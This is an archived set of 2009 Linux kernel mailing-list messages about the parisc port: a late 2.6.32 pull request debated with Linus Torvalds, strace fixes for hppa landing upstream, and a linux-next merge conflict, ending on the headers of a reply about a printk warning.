Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [git patches] parisc for 2.6.32
Date: Tue, 6 Oct 2009 13:52:35 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <20091006175235.GA11702@bombadil.infradead.org>
References: <20091006172602.GA1924@hera.kernel.org> <alpine.LFD.2.01.0910061035050.3432@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1254851849 25487 80.91.229.12 (6 Oct 2009 17:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2009 17:57:29 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932836AbZJFRxR@vger.kernel.org Tue Oct 06 19:57:19 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932836AbZJFRxR@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MvEHk-0004oC-9j
	for glk-linux-kernel-3@lo.gmane.org; Tue, 06 Oct 2009 19:57:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932836AbZJFRxR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 6 Oct 2009 13:53:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932739AbZJFRxQ
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 6 Oct 2009 13:53:16 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57710 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932735AbZJFRxP (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 6 Oct 2009 13:53:15 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MvEDE-0002xt-1B; Tue, 06 Oct 2009 17:52:36 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.01.0910061035050.3432@localhost.localdomain>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:898634 gmane.linux.ports.parisc:2235
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2235>

On Tue, Oct 06, 2009 at 10:40:10AM -0700, Linus Torvalds wrote:
> 
> 
> On Tue, 6 Oct 2009, Kyle McMartin wrote:
> <
> > Mostly fixes, except for the tracehook stuff...
> 
> I don't see how this can be fixes, since I can't recall any parisc pulls 
> during the merge window.
> 
> Yes, there have been parisc changes, but they've all come in through 
> commits that either were global and people also fixed up parisc while at 
> it (eg things like "fcntl: add F_[SG]ETOWN_EX"), or they have been build 
> cleanups where you were cc'd but apparently never even bothered to ack the 
> change.
> 

Christoph Hellwig (1):
      parisc: convert to asm-generic/hardirq.h

Jaswinder Singh Rajput (1):
      parisc: includecheck fix: signal.c

James Bottomley (1):
      parisc: add me to Maintainers

- These could wait.

Helge Deller (3):
      parisc: rename parisc's vmalloc_start to parisc_vmalloc_start
      parisc: Fix linker script breakage.
      agp: parisc-agp.c - use correct page_mask function

- 3 build fixes (the vmalloc one is a warning because of a name
  collision.)

Julia Lawall (1):
      parisc: correct use of SHF_ALLOC

- Correctness fix (the two symbols have identical values, but still.)

Kyle McMartin (7):
      parisc: tracehook_report_syscall
      parisc: tracehook_signal_handler
      parisc: add missing TI_TASK macro in syscall.S
      parisc: split syscall_trace into two halves
      parisc: stop using task->ptrace for {single,block}step flags
      parisc: add skeleton syscall.h
      parisc: HAVE_ARCH_TRACEHOOK

- Fine, I can drop these until .33

Tim Abbott (1):
      parisc: Make THREAD_SIZE available to assembly files and linker
scripts.

- Build fix.

I mean, take them, or don't. I'm not going to lose any sleep over it. I
do this on a volunteer basis when I have free time between work and
school... 

regards, Kyle

From - Thu Nov 08 21:05:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: strace for hppa fixed upstream.
Date: Tue, 6 Oct 2009 16:34:18 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <119aab440910061334k579d0ffav92f3d7d8987189b4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1254861534 32724 80.91.229.12 (6 Oct 2009 20:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2009 20:38:54 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 06 22:38:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MvGny-0004uN-Bh
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Oct 2009 22:38:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933185AbZJFUe4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Oct 2009 16:34:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933204AbZJFUe4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Oct 2009 16:34:56 -0400
Original-Received: from mail-bw0-f210.google.com ([209.85.218.210]:38760 "EHLO
	mail-bw0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933185AbZJFUez (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Oct 2009 16:34:55 -0400
Original-Received: by bwz6 with SMTP id 6so3611739bwz.37
        for <linux-parisc@vger.kernel.org>; Tue, 06 Oct 2009 13:34:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=bH2ykS6NKCJ2lcYbIVKYW9tVyexml0cnvwC+Zkun6XE=;
        b=ADlrSSWnox18fDLU595tK1QlDZ/PnVIdLcrMx4s5xHq9I4uVPC7vSB7TCp3YBBkMJQ
         rVBzXu3abg0+1dci0M3RF6AVG1XiXKVQSiSBQL6NACaeYrxlPO7CgJwNuFSQe2IxbEJI
         +/OeEDUNwjxfGY0DXvmHRm0hC4E8qTkAUrDsg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=Rtc8c0tYH1ndsk54opoqcfKCGk9Exn+klYIwTzJOu2ih4fRAnKYQoSCDjmhcdH/PLp
         seGiED5imvzrWT9Yie11CU41IrQI2P3dl4L/ixNwS4lcabXincyzFIq9OTuzvyuWKyGE
         A+UyOGkxPQz06NMwEc6SgHDDsuuwEFLm0ZIpg=
Original-Received: by 10.204.26.130 with SMTP id e2mr4289573bkc.144.1254861258463; Tue, 
	06 Oct 2009 13:34:18 -0700 (PDT)
X-Google-Sender-Auth: 152ddd6ce9725714
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2236>

Kyle, Helge,

Your strace patches are now in upstream strace.

Upstream strace works out-of-the-box for hppa now.

Debian strace should be fixed with the next release.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] parisc for 2.6.32
Date: Tue, 06 Oct 2009 22:53:29 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <4ACBAE49.9020903@gmx.de>
References: <20091006172602.GA1924@hera.kernel.org> <alpine.LFD.2.01.0910061035050.3432@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254862944 5170 80.91.229.12 (6 Oct 2009 21:02:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2009 21:02:24 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 06 23:02:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MvHAY-0007gU-1b
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Oct 2009 23:02:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933352AbZJFUyT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Oct 2009 16:54:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933349AbZJFUyT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Oct 2009 16:54:19 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:58357 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S933006AbZJFUyS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Oct 2009 16:54:18 -0400
Original-Received: (qmail invoked by alias); 06 Oct 2009 20:53:30 -0000
Original-Received: from p4FDB2EB9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.185]
  by mail.gmx.net (mp023) with SMTP; 06 Oct 2009 22:53:30 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18mT/xwMbomNxgtMPaMeGy4msoe5DwL84N8aogUvX
	jEa0w5BuqIfOpp
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <alpine.LFD.2.01.0910061035050.3432@localhost.localdomain>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.62
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2237 gmane.linux.kernel:898737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2237>

Hi Linus,

On 10/06/2009 07:40 PM, Linus Torvalds wrote:
> On Tue, 6 Oct 2009, Kyle McMartin wrote:
>> Mostly fixes, except for the tracehook stuff...
>
> I don't see how this can be fixes, since I can't recall any parisc pulls
> during the merge window.

Yes, sadly it was not in time.
And of course it's no excuse, that you didn't received a real pull-request,
even after Kyle asked for feedback for his tree with his mail on LKML and
parisc-list on 2009-09-28:
http://www.pubbs.net/kernel/200909/123965/

> So now you come in after the merge window has been closed for over a week,
> and want to do a parisc merge?
>
> Tell me why I should take this. Tell me why I shouldn't just wait until
> the next merge window (or rather "_you_ should have waited").

This patch really only touches parisc-specific files and it includes
important fixes without which the parisc kernel won't even compile and link.
So, it would help us parisc-porters a lot if you could do an exception and
still pull from Kyle's tree, even after this merge window has been closed.
At least, it would make me personally very happy...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: strace for hppa fixed upstream.
Date: Tue, 06 Oct 2009 23:04:00 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <4ACBB0C0.9020300@gmx.de>
References: <119aab440910061334k579d0ffav92f3d7d8987189b4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1254863477 6897 80.91.229.12 (6 Oct 2009 21:11:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Oct 2009 21:11:17 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 06 23:11:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MvHJE-0003Hn-Hs
	for glpp-linux-parisc@lo.gmane.org; Tue, 06 Oct 2009 23:11:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932694AbZJFVEu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Oct 2009 17:04:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933327AbZJFVEu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 6 Oct 2009 17:04:50 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:35252 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S932694AbZJFVEt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Oct 2009 17:04:49 -0400
Original-Received: (qmail invoked by alias); 06 Oct 2009 21:04:01 -0000
Original-Received: from p4FDB2EB9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.185]
  by mail.gmx.net (mp048) with SMTP; 06 Oct 2009 23:04:01 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18SdbdtVNwS7U3SnlWkWuC6e5yh4mgJELFyp84plL
	BEUYsWC3NOY0uL
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3
In-Reply-To: <119aab440910061334k579d0ffav92f3d7d8987189b4@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6899999999999999
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2238>

On 10/06/2009 10:34 PM, Carlos O'Donell wrote:
> Kyle, Helge,
>
> Your strace patches are now in upstream strace.
>
> Upstream strace works out-of-the-box for hppa now.
>
> Debian strace should be fixed with the next release.

That's great!

Just today I downloaded the strace you provided at
http://www.parisc-linux.org/~carlos/strace_4.5.18-1_hppa.deb
and installed it on one of my boxes :-)
Very good that that will not be necessary any longer soon...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the parisc tree with Linus' tree
Date: Fri, 9 Oct 2009 11:21:58 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <20091009112158.7d37ed23.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Fri__9_Oct_2009_11_21_58_+1100_J6RvzgaLr98JJIIY"
X-Trace: ger.gmane.org 1255048032 32277 80.91.229.12 (9 Oct 2009 00:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Oct 2009 00:27:12 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	David Howells <dhowells@redhat.com>
To: Kyle McMartin <kyle@mcmartin.ca>, <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Fri Oct 09 02:27:01 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mw3K0-0002dq-PM
	for glkn-linux-next@lo.gmane.org; Fri, 09 Oct 2009 02:27:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758041AbZJIAWt (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Thu, 8 Oct 2009 20:22:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932186AbZJIAWt
	(ORCPT <rfc822;linux-next-outgoing>); Thu, 8 Oct 2009 20:22:49 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:59521 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757314AbZJIAWs (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Thu, 8 Oct 2009 20:22:48 -0400
Original-Received: from canb.auug.org.au (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id B4C5314401C;
	Fri,  9 Oct 2009 11:22:10 +1100 (EST)
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.18.2; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:9485 gmane.linux.ports.parisc:2239 gmane.linux.kernel:899925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2239>

--Signature=_Fri__9_Oct_2009_11_21_58_+1100_J6RvzgaLr98JJIIY
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,

Today's linux-next merge of the parisc tree got conflicts in
arch/parisc/include/asm/thread_info.h and arch/parisc/kernel/entry.S
between commit d0420c83f39f79afb82010c2d2cafd150eef651b ("KEYS: Extend
TIF_NOTIFY_RESUME to (almost) all architectures [try #6]") from Linus'
tree and commit 9f4259771faf1ffd99888796d925adae4c93630b ("parisc: add
TIF_NOTIFY_RESUME and use tracehook_notify_resume") from the parisc tree.

It looks like the parisc tree version is a superset of the version in
Linus' tree (for parisc).  I fixed it up (hopefully - using the parisc
tree versions) and can carry the fix for a while.
--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Fri__9_Oct_2009_11_21_58_+1100_J6RvzgaLr98JJIIY
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEARECAAYFAkrOgiYACgkQjjKRsyhoI8xQhACeOuI78SNvXU7t3VV9JEEhqKBz
GUIAn0IWXIkFGxiD7SDRT2zY4bUtzAzu
=Am0X
-----END PGP SIGNATURE-----

--Signature=_Fri__9_Oct_2009_11_21_58_+1100_J6RvzgaLr98JJIIY--

From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: manual merge of the parisc tree with Linus' tree
Date: Fri, 9 Oct 2009 14:39:14 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20091009183914.GG11702@bombadil.infradead.org>
References: <20091009112158.7d37ed23.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1255114043 23387 80.91.229.12 (9 Oct 2009 18:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Oct 2009 18:47:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	David Howells <dhowells@redhat.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Fri Oct 09 20:47:15 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MwKUl-0003JE-6i
	for glkn-linux-next@lo.gmane.org; Fri, 09 Oct 2009 20:47:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934077AbZJISkd (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Fri, 9 Oct 2009 14:40:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934062AbZJISkd
	(ORCPT <rfc822;linux-next-outgoing>); Fri, 9 Oct 2009 14:40:33 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33141 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934040AbZJISjy (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Fri, 9 Oct 2009 14:39:54 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MwKN1-00089a-47; Fri, 09 Oct 2009 18:39:15 +0000
Content-Disposition: inline
In-Reply-To: <20091009112158.7d37ed23.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:9494 gmane.linux.ports.parisc:2240 gmane.linux.kernel:900257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2240>

On Fri, Oct 09, 2009 at 11:21:58AM +1100, Stephen Rothwell wrote:
> Hi all,
> 
> Today's linux-next merge of the parisc tree got conflicts in
> arch/parisc/include/asm/thread_info.h and arch/parisc/kernel/entry.S
> between commit d0420c83f39f79afb82010c2d2cafd150eef651b ("KEYS: Extend
> TIF_NOTIFY_RESUME to (almost) all architectures [try #6]") from Linus'
> tree and commit 9f4259771faf1ffd99888796d925adae4c93630b ("parisc: add
> TIF_NOTIFY_RESUME and use tracehook_notify_resume") from the parisc tree.
> 
> It looks like the parisc tree version is a superset of the version in
> Linus' tree (for parisc).  I fixed it up (hopefully - using the parisc
> tree versions) and can carry the fix for a while.

Sorry, forgot to push out a new #next. Should be sorted now.

Thanks for the heads up.
 - Kyle

From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: strace for hppa fixed upstream.
Date: Fri, 9 Oct 2009 14:39:36 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20091009183935.GH11702@bombadil.infradead.org>
References: <119aab440910061334k579d0ffav92f3d7d8987189b4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1255114049 23415 80.91.229.12 (9 Oct 2009 18:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Oct 2009 18:47:29 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 09 20:47:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MwKUo-0003JE-U5
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Oct 2009 20:47:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761275AbZJISnV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Oct 2009 14:43:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761228AbZJISnU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 9 Oct 2009 14:43:20 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33236 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934045AbZJISkT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Oct 2009 14:40:19 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MwKNM-0008Dh-4S; Fri, 09 Oct 2009 18:39:36 +0000
Content-Disposition: inline
In-Reply-To: <119aab440910061334k579d0ffav92f3d7d8987189b4@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2241>

On Tue, Oct 06, 2009 at 04:34:18PM -0400, Carlos O'Donell wrote:
> Kyle, Helge,
> 
> Your strace patches are now in upstream strace.
> 
> Upstream strace works out-of-the-box for hppa now.
> 
> Debian strace should be fixed with the next release.
> 

awesome work, carlos!

cheers, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH] kernel/time/tick-sched.c: fix warning of printk's argument
 format
Date: Fri, 09 Oct 2009 23:41:01 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <4ACFADED.2040209@gmx.de>
References: <1255013172-31599-1-git-send-email-wuzhangjin@gmail.com> <alpine.LFD.2.01.0910080755390.3432@localhost.localdomain> <200910091542.29457.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1255124819 25900 80.91.229.12 (9 Oct 2009 21:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Oct 2009 21:46:59 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Wu Zhangjin <wuzhangjin@gmail.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Remis Lima Baima <remis.developer@googlemail.com>,
	Christoph Hellwig <hch@lst.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	linux-alpha@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
